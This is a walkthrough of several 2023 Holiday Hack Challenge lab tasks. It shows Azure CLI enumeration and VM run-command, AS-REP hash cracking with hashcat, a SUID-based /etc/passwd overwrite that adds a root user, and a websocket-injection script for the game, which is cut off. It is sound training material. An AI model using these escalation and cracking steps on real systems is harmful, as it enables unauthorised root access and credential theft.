Next, you’ve already been configured with credentials. Use az and your account to show your current details and make sure to pipe to less ( | less )

elf@3b93c88b5a50:~$ az account show | less
{
  "environmentName": "AzureCloud",
  "id": "2b0942f3-9bca-484b-a508-abdae2db5e64",
  "isDefault": true,
  "name": "northpole-sub",
  "state": "Enabled",
  "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
  "user": {
    "name": "[email protected]",
    "type": "user"
  }
}

Excellent! Now get a list of resource groups in Azure. For more information: https://learn.microsoft.com/en-us/cli/azure/group?view=azure-cli-latest

We found the following in the linked resource above!

az group list
List resource groups
elf@3b93c88b5a50:~$ az group list | less
[
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1",
    "location": "eastus",
    "managedBy": null,
    "name": "northpole-rg1",
    "properties": {
      "provisioningState": "Succeeded"
    },
    "tags": {}
  },
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg2",
    "location": "westus",
    "managedBy": null,
    "name": "northpole-rg2",
    "properties": {
      "provisioningState": "Succeeded"
    },
    "tags": {}
  }
]

Ok, now use one of the resource groups to get a list of function apps. For more information: https://learn.microsoft.com/en-us/cli/azure/functionapp?view=azure-cli-latest Note: Some of the information returned from this command relates to other cloud assets used by Santa and his elves.

We found the following in the linked resource above!

az functionapp list
List function apps.
elf@058d72e304f5:~$ az functionapp list --resource-group northpole-rg1 | less
[
  {
    "appServicePlanId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/serverfarms/EastUSLinuxDynamicPlan",
    "availabilityState": "Normal",
    "clientAffinityEnabled": false,
    "clientCertEnabled": false,
    "clientCertExclusionPaths": null,
    "clientCertMode": "Required",
    "cloningInfo": null,
    "containerSize": 0,
    "customDomainVerificationId": "201F74B099FA881DB9368A26C8E8B8BB8B9AF75BF450AF717502AC151F59DBEA",
    "dailyMemoryTimeQuota": 0,
    "defaultHostName": "northpole-ssh-certs-fa.azurewebsites.net",
    "enabled": true,
    "enabledHostNames": [
      "northpole-ssh-certs-fa.azurewebsites.net"
    ],
    "extendedLocation": null,
    "hostNameSslStates": [
      {
        "certificateResourceId": null,
        "hostType": "Standard",
        "ipBasedSslResult": null,
        "ipBasedSslState": "NotConfigured",
        "name": "northpole-ssh-certs-fa.azurewebsites.net",
        "sslState": "Disabled",
        "thumbprint": null,
        "toUpdate": null,
        "toUpdateIpBasedSsl": null,
        "virtualIPv6": null,
        "virtualIp": null
      },
      {
        "certificateResourceId": null,
        "hostType": "Repository",
        "ipBasedSslResult": null,
        "ipBasedSslState": "NotConfigured",
        "name": "northpole-ssh-certs-fa.scm.azurewebsites.net",
        "sslState": "Disabled",
        "thumbprint": null,
        "toUpdate": null,
        "toUpdateIpBasedSsl": null,
        "virtualIPv6": null,
        "virtualIp": null
      }
    ],
    "hostNames": [
      "northpole-ssh-certs-fa.azurewebsites.net"
    ],
    "hostNamesDisabled": false,
    "hostingEnvironmentProfile": null,
    "httpsOnly": false,
    "hyperV": false,
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/pro
viders/Microsoft.Web/sites/northpole-ssh-certs-fa",
    "identity": {
      "principalId": "d3be48a8-0702-407c-89af-0319780a2aea",
      "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
      "type": "SystemAssigned",
      "userAssignedIdentities": null
    },
    "inProgressOperationId": null,
    "isDefaultContainer": null,
    "isXenon": false,
    "keyVaultReferenceIdentity": "SystemAssigned",
    "kind": "functionapp,linux",
    "lastModifiedTimeUtc": "2023-11-09T14:43:01.183333",
    "location": "East US",
    "maxNumberOfWorkers": null,
    "name": "northpole-ssh-certs-fa",
    "outboundIpAddresses": "",
    "possibleOutboundIpAddresses": "",
    "publicNetworkAccess": null,
    "redundancyMode": "None",
    "repositorySiteName": "northpole-ssh-certs-fa",
    "reserved": true,
    "resourceGroup": "northpole-rg1",
    "scmSiteAlsoStopped": false,
    "siteConfig": {
      "acrUseManagedIdentityCreds": false,
      "acrUserManagedIdentityId": null,
      "alwaysOn": false,
      "antivirusScanEnabled": null,
      "apiDefinition": null,
      "apiManagementConfig": null,
      "appCommandLine": null,
      "appSettings": null,
      "autoHealEnabled": null,
      "autoHealRules": null,
      "autoSwapSlotName": null,
      "azureMonitorLogCategories": null,
      "azureStorageAccounts": null,
      "connectionStrings": null,
      "cors": null,
      "customAppPoolIdentityAdminState": null,
      "customAppPoolIdentityTenantState": null,
      "defaultDocuments": null,
      "detailedErrorLoggingEnabled": null,
      "documentRoot": null,
      "elasticWebAppScaleLimit": null,
      "experiments": null,
      "fileChangeAuditEnabled": null,
      "ftpsState": null,
      "functionAppScaleLimit": 200,
      "functionsRuntimeScaleMonitoringEnabled": null,
      "handlerMappings": null,
      "healthCheckPath": null,
      "http20Enabled": true,
      "http20ProxyFlag": null,
      "httpLoggingEnabled": null,
      "ipSecurityRestrictions": null,
      "ipSecurityRestrictionsDefaultAction": null,
      "javaContainer": null,
      "javaContainerVersion": null,
      "javaVersion": null,
      "keyVaultReferenceIdentity": null,
      "limits": null,
      "linuxFxVersion": "Python|3.11",
      "loadBalancing": null,
      "localMySqlEnabled": null,
      "logsDirectorySizeLimit": null,
      "machineKey": null,
      "managedPipelineMode": null,
      "managedServiceIdentityId": null,
      "metadata": null,
      "minTlsCipherSuite": null,
      "minTlsVersion": null,
      "minimumElasticInstanceCount": 0,
      "netFrameworkVersion": null,
      "nodeVersion": null,
      "numberOfWorkers": 1,
      "phpVersion": null,
      "powerShellVersion": null,
      "preWarmedInstanceCount": null,
      "publicNetworkAccess": null,
      "publishingPassword": null,
      "publishingUsername": null,
      "push": null,
      "pythonVersion": null,
      "remoteDebuggingEnabled": null,
      "remoteDebuggingVersion": null,
      "requestTracingEnabled": null,
      "requestTracingExpirationTime": null,
      "routingRules": null,
      "runtimeADUser": null,
      "runtimeADUserPassword": null,
      "scmIpSecurityRestrictions": null,
      "scmIpSecurityRestrictionsDefaultAction": null,
      "scmIpSecurityRestrictionsUseMain": null,
      "scmMinTlsVersion": null,
      "scmType": null,
      "sitePort": null,
      "sitePrivateLinkHostEnabled": null,
      "storageType": null,
      "supportedTlsCipherSuites": null,
      "tracingOptions": null,
      "use32BitWorkerProcess": null,
      "virtualApplications": null,
      "vnetName": null,
      "vnetPrivatePortsCount": null,
      "vnetRouteAllEnabled": null,
      "webSocketsEnabled": null,
      "websiteTimeZone": null,
      "winAuthAdminState": null,
      "winAuthTenantState": null,
      "windowsConfiguredStacks": null,
      "windowsFxVersion": null,
      "xManagedServiceIdentityId": null
    },
    "slotSwapStatus": null,
    "state": "Running",
    "storageAccountRequired": false,
    "suspendedTill": null,
    "tags": {
      "create-cert-func-url-path": "/api/create-cert?code=candy-cane-twirl",
      "project": "northpole-ssh-certs"
    },
    "targetSwapSlot": null,
    "trafficManagerHostNames": null,
    "type": "Microsoft.Web/sites",
    "usageState": "Normal",
    "virtualNetworkSubnetId": null,
    "vnetContentShareEnabled": false,
    "vnetImagePullEnabled": false,
    "vnetRouteAllEnabled": false
  }
]

Find a way to list the only VM in one of the resource groups you have access to. For more information: https://learn.microsoft.com/en-us/cli/azure/vm?view=azure-cli-latest

We found the following in the linked resource above!

az vm list    List details of Virtual Machines.
elf@058d72e304f5:~$ az vm list --resource-group northpole-rg1 | less
The client 'f17559a4-d8a2-4661-ba0f-c04f8cf2926d' with object id '8deacb33-214d-4d94-9ab4-d27768410f17' does not have authorization to perform action 'Microsoft.Compute/virtualMachines/read' over scope '/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/virtualMachines' or the scope is invalid. If access was recently granted, please refresh your credentials.
elf@058d72e304f5:~$ az vm list --resource-group northpole-rg2 | less
[
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg2/providers/Microsoft.Compute/virtualMachines/NP-VM1",
    "location": "eastus",
    "name": "NP-VM1",
    "properties": {
      "hardwareProfile": {
        "vmSize": "Standard_D2s_v3"
      },
      "provisioningState": "Succeeded",
      "storageProfile": {
        "imageReference": {
          "offer": "UbuntuServer",
          "publisher": "Canonical",
          "sku": "16.04-LTS",
          "version": "latest"
        },
        "osDisk": {
          "caching": "ReadWrite",
          "createOption": "FromImage",
          "managedDisk": {
            "storageAccountType": "Standard_LRS"
          },
          "name": "VM1_OsDisk_1"
        }
      },
      "vmId": "e5f16214-18be-4a31-9ebb-2be3a55cfcf7"
    },
    "resourceGroup": "northpole-rg2",
    "tags": {}
  }
]

Find a way to invoke a run-command against the only Virtual Machine (VM) so you can RunShellScript and get a directory listing to reveal a file on the Azure VM. For more information: https://learn.microsoft.com/en-us/cli/azure/vm/run-command?view=azure-cli-latest#az-vm-run-command-invoke

We found the following in the linked resource above!

az vm run-command invoke --resource-group <your-resource-group-name> --name <your-vm-name> --command-id RunShellScript --scripts "ls" --output table
elf@e6b548de5747:~$ az vm run-command invoke --resource-group northpole-rg2 --name NP-VM1 --command-id RunShellScript --scripts 'ls' --output table
{
  "value": [
    {
      "code": "ComponentStatus/StdOut/succeeded",
      "displayStatus": "Provisioning succeeded",
      "level": "Info",
      "message": "bin\netc\nhome\njinglebells\nlib\nlib64\nusr\n",
      "time": 1703776278
    },
    {
      "code": "ComponentStatus/StdErr/succeeded",
      "displayStatus": "Provisioning succeeded",
      "level": "Info",
      "message": "",
      "time": 1703776278
    }
  ]
}
Achievement

“Congratulations! You have completed the Azure 101 challenge!”

When speaking with Sparkle Redberry previously after completing Azure 101 Terminal challenge, we obtain the following hint and objective.

Azure VM Access Token

Azure CLI tools aren’t always available, but if you’re on an Azure VM you can always use the Azure REST API instead.

Certificate SSHenanigans (Pixel Island) 🎄🎄🎄🎄🎄

Go to Pixel Island and review Alabaster Snowball’s new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?

Resort Lobby - Endgame Location

If we head into the castle at the north part of Christmas Island, we enter the Resort Lobby where we are greeted by Pepper Minstix.

resort

Pepper Minstix

After you complete all the challenges, come back here for a surprise!

See Conclusion on the big surprise!

Island of Misfit Toys

Plot a course to the whimsical Island of Misfit Toys aboard our ship. Employ the arrow keys on the keyboard or the WASD keys to navigate, as the island is situated in the bottom-right corner of the map. May your journey be filled with the charm of misfit toys and the joy of exploration! Safe travels!

map

There are three different ports available:

Port of Scaredy-kite Heights

While exploring the Island of Misfit Toys, we discover the Port of Scaredy-kite Heights. Upon reaching it, a “Dock Now” option is presented to us.

docknow

The dock featured the Goose of the Island of Misfit Toys to greet us!

dock

When we make land, we obtain new objectives on arrival.

Hashcat (Island of Misfit Toys) 🎄🎄🎄🎄🎄

Eve Snowshoes is trying to recover a password. Head to the Island of Misfit Toys and take a crack at it!

Linux PrivEsc (Island of Misfit Toys) 🎄🎄🎄🎄🎄

Rosemold is in Ostrich Saloon on the Island of Misfit Toys. Give her a hand with escalation for a tip about hidden islands.

Full Island (Zoomed Out)

zoom30

Hashcat

Hashcat (Island of Misfit Toys) 🎄🎄🎄🎄🎄

Eve Snowshoes is trying to recover a password. Head to the Island of Misfit Toys and take a crack at it!

If we go to the right of the Goose of Island of Misfit Toys, we find Eve Snowshoes close to a challenge.

eve

When we startup the challenge, it spins up a tmux terminal:

hashcat

Challenge Startup Text
In a realm of bytes and digital cheer,
The festive season brings a challenge near.
Santa's code has twists that may enthrall,
It's up to you to decode them all.

Hidden deep in the snow is a kerberos token,
Its type and form, in whispers, spoken.
From reindeers' leaps to the elfish toast,
Might the secret be in an ASREP roast?

`hashcat`, your reindeer, so spry and true,
Will leap through hashes, bringing answers to you.
But heed this advice to temper your pace,
`-w 1 -u 1 --kernel-accel 1 --kernel-loops 1`, just in case.

For within this quest, speed isn't the key,
Patience and thought will set the answers free.
So include these flags, let your command be slow,
And watch as the right solutions begin to show.

For hints on the hash, when you feel quite adrift,
This festive link, your spirits, will lift:
https://hashcat.net/wiki/doku.php?id=example_hashes

And when in doubt of `hashcat`'s might,
The CLI docs will guide you right:
https://hashcat.net/wiki/doku.php?id=hashcat

Once you've cracked it, with joy and glee so raw,
Run /bin/runtoanswer, without a flaw.
Submit the password for Alabaster Snowball,
Only then can you claim the prize, the best of all.

So light up your terminal, with commands so grand,
Crack the code, with `hashcat` in hand!
Merry Cracking to each, by the pixelated moon's light,
May your hashes be merry, and your codes so right!

* Determine the hash type in hash.txt and perform a wordlist cracking attempt to find which password is correct and submit it to /bin/runtoanswer .*

Identifying the correct hash type is the first step. I print out the hash and password list provided and transfer them over to my own Kali VM.

elf@58d3d01a5e96:~$ cat hash.txt && echo
$krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2bceeaa73227ea4021879eda02$8f07417379e610e2dcb0621462fec3675bb5a850aba31837d541e50c622dc5faee60e48e019256e466d29b4d8c43cbf5bf7264b12c21737499cfcb73d95a903005a6ab6d9689ddd2772b908fc0d0aef43bb34db66af1dddb55b64937d3c7d7e93a91a7f303fef96e17d7f5479bae25c0183e74822ac652e92a56d0251bb5d975c2f2b63f4458526824f2c3dc1f1fcbacb2f6e52022ba6e6b401660b43b5070409cac0cc6223a2bf1b4b415574d7132f2607e12075f7cd2f8674c33e40d8ed55628f1c3eb08dbb8845b0f3bae708784c805b9a3f4b78ddf6830ad0e9eafb07980d7f2e270d8dd1966
elf@58d3d01a5e96:~$ cat password_list.txt && echo
..[snip]..

We are able identified the hash quickly using haiti hash identifier:

$ haiti $(cat hash.txt)
Kerberos 5 AS-REP etype 23 [HC: 18200] [JtR: krb5asrep]

It also is able to be found using hashcat --example-hashes:

$ hashcat --example-hashes
Hash mode #18200
  Name................: Kerberos 5, etype 23, AS-REP
  Category............: Network Protocol
  Slow.Hash...........: No
  Password.Len.Min....: 0
  Password.Len.Max....: 256
  Salt.Type...........: Embedded
  Salt.Len.Min........: 0
  Salt.Len.Max........: 256
  Kernel.Type(s)......: pure, optimized
  Example.Hash.Format.: plain
  Example.Hash........: $krb5asrep$23$user@domain.com:3e156ada591263b8a...102ac

We proceed to crack the hash on our host machine, utilizing dedicated hardware, as the cracking process can be time-consuming and slow with just a virtual CPU. If running this in a VM, the --force option can be used.

$ hashcat -a 0 -m 18200 hash.txt password_list.txt
$krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2bceeaa73227ea4021879eda02$8f07417379e610e2dcb0621462fec3675bb5a850aba31837d541e50c622dc5faee60e48e019256e466d29b4d8c43cbf5bf7264b12c21737499cfcb73d95a903005a6ab6d9689ddd2772b908fc0d0aef43bb34db66af1dddb55b64937d3c7d7e93a91a7f303fef96e17d7f5479bae25c0183e74822ac652e92a56d0251bb5d975c2f2b63f4458526824f2c3dc1f1fcbacb2f6e52022ba6e6b401660b43b5070409cac0cc6223a2bf1b4b415574d7132f2607e12075f7cd2f8674c33e40d8ed55628f1c3eb08dbb8845b0f3bae708784c805b9a3f4b78ddf6830ad0e9eafb07980d7f2e270d8dd1966:IluvC4ndyC4nes!

We submit our answer using /bin/runtoanswer and obtain an achievement!

elf@c62abca8f788:~$ /bin/runtoanswer
What is the password for the hash in /home/elf/hash.txt ?

> IluvC4ndyC4nes!
Your answer: IluvC4ndyC4nes!

Checking....
Your answer is correct!
Achievement

Congratulations! You have completed the Hashcat challenge!

Linux PrivESC

Linux PrivEsc (Island of Misfit Toys) 🎄🎄🎄🎄🎄

Rosemold is in Ostrich Saloon on the Island of Misfit Toys. Give her a hand with escalation for a tip about hidden islands.

If we go to the right of the Eve Snowshoes, we find a Saloon that we can enter!

saloon

I found Rose Mold inside and close to a challenge.

rose

When speaking with Rose Mold, we obtain the following hints:

Linux Command Injection

Use the privileged binary to overwriting a file to escalate privileges could be a solution, but there’s an easier method if you pass it a crafty argument.

Linux Privilege Escalation Techniques

There’s various ways to escalate privileges on a Linux system.

When we startup the challenge, it spins up a tmux terminal:

startup

In a digital winter wonderland we play,
Where elves and bytes in harmony lay.
This festive terminal is clear and bright,
Escalate privileges, and bring forth the light.

Start in the land of bash, where you reside,
But to win this game, to root you must glide.
Climb the ladder, permissions to seize,
Unravel the mystery, with elegance and ease.

There lies a gift, in the root's domain,
An executable file to run, the prize you'll obtain.
The game is won, the challenge complete,
Merry Christmas to all, and to all, a root feat!

* Find a method to escalate privileges inside this terminal and then run the binary in /root *

Looking for SUID binaries. we find an unusual one of /usr/bin/simplecopy that is dated Dec 2 22:17 which is a dead-giveaway that it isn’t part of normal Linux system binaries.

elf@57f5baee95f4:~$ find / -perm -4000 -ls -o -perm -g=s -ls -o -perm -u=s -ls 2>/dev/null
  1315468      4 drwxrwsr-x   2 root     staff        4096 Apr 15  2020 /var/local
  1315481      4 drwxrwsr-x   2 root     mail         4096 Nov 28 02:03 /var/mail
  1312417     84 -rwsr-xr-x   1 root     root        85064 Nov 29  2022 /usr/bin/chfn
  1312423     52 -rwsr-xr-x   1 root     root        53040 Nov 29  2022 /usr/bin/chsh
  1312541     56 -rwsr-xr-x   1 root     root        55528 May 30  2023 /usr/bin/mount
  1312467     32 -rwxr-sr-x   1 root     shadow      31312 Nov 29  2022 /usr/bin/expiry
  1312546     44 -rwsr-xr-x   1 root     root        44784 Nov 29  2022 /usr/bin/newgrp
  1312620     68 -rwsr-xr-x   1 root     root        67816 May 30  2023 /usr/bin/su
  1312659     36 -rwxr-sr-x   1 root     tty         35048 May 30  2023 /usr/bin/wall
  1312414     84 -rwxr-sr-x   1 root     shadow      84512 Nov 29  2022 /usr/bin/chage
  1312484     88 -rwsr-xr-x   1 root     root        88464 Nov 29  2022 /usr/bin/gpasswd
  1312645     40 -rwsr-xr-x   1 root     root        39144 May 30  2023 /usr/bin/umount
  1312557     68 -rwsr-xr-x   1 root     root        68208 Nov 29  2022 /usr/bin/passwd
  1457015     20 -rwsr-xr-x   1 root     root        16952 Dec  2 22:17 /usr/bin/simplecopy
  1314117     44 -rwxr-sr-x   1 root     shadow      43168 Feb  2  2023 /usr/sbin/pam_extrausers_chkpwd
  1314148     44 -rwxr-sr-x   1 root     shadow      43160 Feb  2  2023 /usr/sbin/unix_chkpwd

Just running it seems like it’s a cp wrapper at first:

elf@57f5baee95f4:~$ simplecopy
Usage: simplecopy <source> <destination>
elf@57f5baee95f4:~$ strings /bin/simplecopy
..[snip]..
Usage: %s <source> <destination>
cp %s %s
:*3$"
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0

We are able to copy the contents of the /root folder to /tmp:

elf@57f5baee95f4:~$ simplecopy  /root/* /tmp
elf@57f5baee95f4:~$ ls -la /tmp
total 608
drwxrwxrwt 1 root root   4096 Dec 29 18:36 .
drwxr-xr-x 1 root root   4096 Dec 29 18:29 ..
-rwx------ 1 root root 612560 Dec 29 18:36 runmetoanswer

So since we can administratively copy any file on the system, we can try to add a new root user!

Technique

Unless a centralized credential system such as Active Directory or LDAP is used, Linux passwords are generally stored in /etc/shadow, which is not readable by normal users. Historically however, password hashes, along with other account information, were stored in the world-readable file /etc/passwd. For backwards compatibility, if a password hash is present in the second column of a /etc/passwd user record, it is considered valid for authentication and it takes precedence over the respective entry in /etc/shadow if available. This means that if we can write into the /etc/passwd file, we can effectively set an arbitrary password for any account.

Here is how we can demonstrate this technique:

  1. Generate a new password hash using openssl (Note: openssl is not installed)
openssl passwd password
RPKW3OxcBoAUw
  1. Copy the original /etc/passwd file. Note its a good practice to back it up prior.
elf@93c42791faaa:~$ cp /etc/passwd /tmp/passwd
elf@93c42791faaa:~$ cp /etc/passwd /tmp/passwd.bak
  1. Add the duplicate root user line.
elf@93c42791faaa:~$ echo "root2:RPKW3OxcBoAUw:0:0:root:/root:/bin/bash" >> /tmp/passwd
  1. Copy over the original /etc/passwd with the new file.
elf@93c42791faaa:~$ simplecopy /tmp/passwd /etc/passwd
  1. Now we can switch-user as root2:
elf@93c42791faaa:~$ su root2
Password: password
root@93c42791faaa:~# id
uid=0(root) gid=0(root) groups=0(root)

We submit our answer using /root/runtoanswer:

root@93c42791faaa:~# /root/runmetoanswer
Who delivers Christmas presents?

> santa
Your answer: santa

Checking....
Your answer is correct!

solved

??? success “Achievement” ! You have completed the Linux PrivEsc challenge!

When speaking with Rose Mold previously after completing Linux PrivESC challenge, we obtain the following hint:

Uncharted

Not all the areas around Geese Islands have been mapped, and may contain wonderous treasures. Go exploring, hunt for treasure, and find the pirate’s booty!

Port of Squarewhell Yard

While exploring the Island of Misfit Toys, we discover the Port of Squarewhell Yard. Upon reaching it, a “Dock Now” option is presented to us.

docknow

The dock featured the Goose of the Island of Misfit Toys and Poinsettia McMittens to greet us!

dock

When we make land, we obtain new objectives on arrival.

Luggage Lock (Island of Misfit Toys) 🎄🎄🎄🎄🎄

Help Garland Candlesticks on the Island of Misfit Toys get back into his luggage by finding the correct position for all four dials

When speaking with Poinsettia McMittens, we obtain the following hints:

Fishing Machine

There are a variety of strategies for automating repetitive website tasks. Tools such as AutoKey and AutoIt allow you to programmatically examine elements on the screen and emulate user inputs.

I Am Become Data

One approach to automating web tasks entails the browser’s developer console. Browsers’ console allow us to manipulate objects, inspect code, and even interact with websockets.

When speaking with Poinsettia McMittens, we obtain the following objectives:

BONUS! Fishing Guide 🎄🎄🎄🎄🎄

Catch twenty different species of fish that live around Geese Islands. When you’re done, report your findings to Poinsettia McMittens on the Island of Misfit Toys.

BONUS! Fishing Mastery 🎄🎄🎄🎄🎄

Catch at least one of each species of fish that live around Geese islands. When you’re done, report your findings to Poinsettia McMittens.

Full Island (Zoomed Out)

zoom30

Fishing Guide

BONUS! Fishing Guide 🎄🎄🎄🎄🎄

Catch twenty different species of fish that live around Geese Islands. When you’re done, report your findings to Poinsettia McMittens on the Island of Misfit Toys.

While navigating at sea, we can click on our Pescadex to view all the fish we have already caught!

pescadex

All the fish images are stored based on their hash name at https://2023.holidayhackchallenge.com/sea/assets/fish/

After we caught 20 fish, we unlocked an achievement by talking to Poinsettia McMittens on the Island of Misfit Toys at the Squarewheel Yard dock.

Achievement

Congratulations! You have completed the BONUS! Fishing Guide challenge!

Fishing Mastery

BONUS! Fishing Mastery 🎄🎄🎄🎄🎄

Catch at least one of each species of fish that live around Geese islands. When you’re done, report your findings to Poinsettia McMittens.

While navigating at sea, the client.js file, responsible for ship navigation in JavaScript, was examined. The analysis revealed the establishment of a WebSocket connection to ${websockHost}?dockSlip=${UrlParams.dockSlip}, as illustrated below:

dockslip

The results of analyzing the server-side websocket messages as shown below:

  • e: Provides data (userid, coordinates, velocity, colors of ship) on other player’s in the area
  • v: Provides x/y coordinates, uid, fishing Boolean onTheLine Boolean (colon separated)
  • p: Provides port information (explored only)
  • z: Provides port information (within dock location)
  • i: Provides my user settings, explored ports, etc.
  • b: ? - Some type of block data
  • k: Provides error messages such as This URL is invalid. Please log in to HHC and try again.
  • x: Contain data (userid) on other player’s in the area
  • t: ? - Some sort of notification
  • m: Contains race results (time, track, scoreboard position)
  • h: Provides race starting locations “hotspots”
  • a: Provides AHOY data when clicking the AHOY! button (such as time, duration, location)
  • f: Provides fish data

The results of analyzing the client-side websocket messages are shown below:

  • ks: Keyboard data sent from client

The Keys definition encompasses all possible combinations. Both the wasd and arrow keys are mapped to identical values. The ANCHOR is associated with the spacebar, while the BOOST function is linked to the b key.

const Keys = {
    UP: 1,
    RIGHT: 2,
    LEFT: 4,
    DOWN: 8,
    ANCHOR: 16,
    BOOST: 32,
    w: 1,
    d: 2,
    a: 4,
    s: 8,
};

Unknowing how many more fish there were, I created an automated fishing utility so when I am standing in place for a bit or Away From Keyboard (AFK), it can fish for me! This was created

We can also automate this by using mitmdump with a Python addon to automate the replacement:

mitm_sail.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to inject a websocket message into a running connection using mitmdump.
Usage: reset; sudo mitmdump -s mitm_sail.py --listen-port 9000 --set flow_detail=0
Reference: https://mitmproxy.org/
Holiday Hack 2023 - Sailing
"""

# Imports
from datetime import datetime
from mitmproxy import ctx
from mitmproxy import http
import json
import math

# Constants
AUTOCAST_MIN_TIME = 3
VERBOSE_ALL_WS = False
VERBOSE_STATUS = False
KEYS = {"UP": 1, "RIGHT": 2, "LEFT": 4, "DOWN": 8, "ANCHOR": 16, "BOOST": 32}
DIRECTIONS = {1: "N", 2: "E", 4: "W", 8: "S"}

# Globals
gdata = {"uid": None, "dir": None, "x": None, "y": None, "vx": 0, "vy": 0, "fishing": None, "racetrack": None, "canFish": False, "onTheLine": ""}
fish_caught = {}
race_startpoints = None
race_waypoints = None
autocast_time = None


def calculate_state(message):
    active_keys = set()
    direction_keys = []

    for key, value in KEYS.items():
        if int(message) & value:
            active_keys.add(key)
            direction_keys.append(value)

    # Convert specific directions
    direction = "".join(DIRECTIONS[key] for key in direction_keys if key in DIRECTIONS)
    if direction == "ES":
        direction = "SE"
    elif direction == "EN":
        direction = "NE"
    return direction, active_keys


def parse_message(flow, raw_message):
    global gdata, autocast_time, race_startpoints, race_waypoints, fish_caught
    if not raw_message.is_text or len(raw_message.text) < 2:
        return flow
    if ":" in raw_message.text:
        split_colon = raw_message.text.split(":", 1)
        mode = split_colon[0]
        message = split_colon[1]
    elif raw_message.text == "cast":
        ctx.log.info("Fishing started!")
        gdata["fishing"] = True
        return flow
    elif raw_message.text == "reel":
        ctx.log.info("Fishing ended!")
        gdata["fishing"] = False
        return flow
    elif raw_message.text == "bank":
        ctx.log.info("Docked the boat!")
        gdata["canFish"] = False
        return flow
    elif raw_message.text == "quit_race":
        ctx.log.info("Race ended!")
        gdata["racetrack"] = None
        race_waypoints = None
        return flow
    elif raw_message.text == "ahoy!":
        return flow
    else:
        ctx.log.alert(f"Not sure how to parse Message: '{raw_message.text}'")
        mode = ""
        message = raw_message.text

    if mode == "e":
        # Updates (only when things change)
        data = json.loads(message)
        uid_str = str(gdata["uid"])
        updated_flag = False
        unparsed = []
        if uid_str in data:
            for key, value in data[uid_str].items():
                if key in gdata:
                    # Compare values
                    if isinstance(value, (float, complex)):
                        if not math.isclose(gdata[key], value):
                            updated_flag = True
                    elif gdata[key] != value:
                        updated_flag = True
                    gdata[key] = value
                    if abs(gdata["vx"]) > 0.1 or abs(gdata["vy"]) > 0.1:
                        gdata["canFish"] = False
                elif key == "race":
                    if "waypoints" in value:
                        race_waypoints = value["waypoints"]
                    if not gdata["racetrack"]:
                        # Race started
                        if race_startpoints:
                            for race in race_startpoints:
                                if value["name"] == race["name"]:
                                    ctx.log.alert(f'Started {race["name"]} ({race["x"]}, {race["y"]}) Waypoints: {json.dumps(race_waypoints)}')
                                    break
                    if "name" in value:
                        gdata["racetrack"] = value["name"]
                elif key == "fishCaught":
                    if not fish_caught:
                        pass
                    elif len(value) != len(fish_caught):
                        caught_names = set(fish["name"] for fish in fish_caught)
                        new_fish = next((fish for fish in value if fish["name"] not in caught_names), None)
                        if new_fish:
                            ctx.log.alert(f'NEW FISH CAUGHT! {new_fish["name"]} ({new_fish["hash"]}) - {new_fish["description"]})')
                    fish_caught = value
                elif key in ["username", "o", "config", "bearing", "ports", "showOthers", "keyState", "colors", "progress"]:
                    pass
                elif key in ["c", "raceId", "raceTimes", "raceIndex", "startConfig", "raceKeystrokes"]:
                    # Race in progress
                    pass
                elif key == "hotspotLatch" and value:
                    ctx.log.info("Race ended - Out of time")
                    gdata["racetrack"] = None
                    race_waypoints = None
                elif key in ["port"]:
                    # Within port
                    pass
                else:
                    unparsed.append(key)
            if unparsed:
                ctx.log.alert(f"{mode} - Unparsed {unparsed}: '{raw_message.text}'")

        if updated_flag:
            VERBOSE_STATUS and ctx.log.info(f"{mode} - User information => {json.dumps(gdata)}")
            if gdata["fishing"] and gdata["onTheLine"]:
                # Autoreel
                ctx.log.alert(f'{gdata["onTheLine"]} on the hook -> Automatically reeling')
                ctx.master.commands.call("inject.websocket", flow, raw_message.from_client, b"reel")
                gdata["fishing"] = False
    elif mode == "v":
        # Updates, [uid, x, y, o, fishing]
        data = message.split(":")
        data = list(map(float, data))
        updated_flag = False
        for i in range(0, len(data), 5):
            if gdata["uid"] == data[i]:
                if isinstance(data[i + 1], (float, complex)):
                    if not math.isclose(gdata["x"], data[i + 1]):
                        updated_flag = True
                elif gdata["x"] != data[i + 1]:
                    updated_flag = True
                if isinstance(data[i + 2], (float, complex)):
                    if not math.isclose(gdata["y"], data[i + 2]):
                        updated_flag = True
                elif gdata["y"] != data[i + 2]:
                    updated_flag = True
                gdata["x"] = data[i + 1]
                gdata["y"] = data[i + 2]
                gdata["fishing"] = bool(data[i + 4])
        if updated_flag:
            VERBOSE_STATUS and ctx.log.info(f"{mode} - User information => {json.dumps(gdata)}")

    elif mode == "p":
        # Port information (explored only)
        return flow

    elif mode == "z":
        # Port information (within dock location)
        return flow

    elif mode == "i":
        # Initial user data
        data = json.loads(message)
        for key, value in data.items():
            if key in gdata and gdata[key] != value:
                gdata[key] = value
        ctx.log.info(f"{mode} - Initial User information => {json.dumps(gdata)}")
        gdata["canFish"] = True  # Not docked

    elif mode == "k":
        # Error data
        data = json.loads(message)
        if "msg" in data:
            if "msg" in data:
                ctx.log.error(f"{mode} - ERROR: {data['msg']}")
        return flow

    elif mode == "x":
        # Contains data (userid) on other player's in the area
        # x:41154
        return flow

    elif mode == "m":
        # Race results
        data = json.loads(message)
        if "type" in data and data["type"] == "race_results":
            gdata["racetrack"] = None
            race_waypoints = None
            if "data" in data:
                ctx.log.info(f"{mode} - Race results => {json.dumps(data['data'])}")
        return flow

    elif mode == "h":
        # Hotspots
        race_startpoints = json.loads(message)
        return flow

    elif mode == "a":
        # Ahoy data
        return flow

    elif mode == "f":
        # Fish data
        data = json.loads(message)
        if "fish" in data and data["fish"]:
            fish_data = data["fish"]
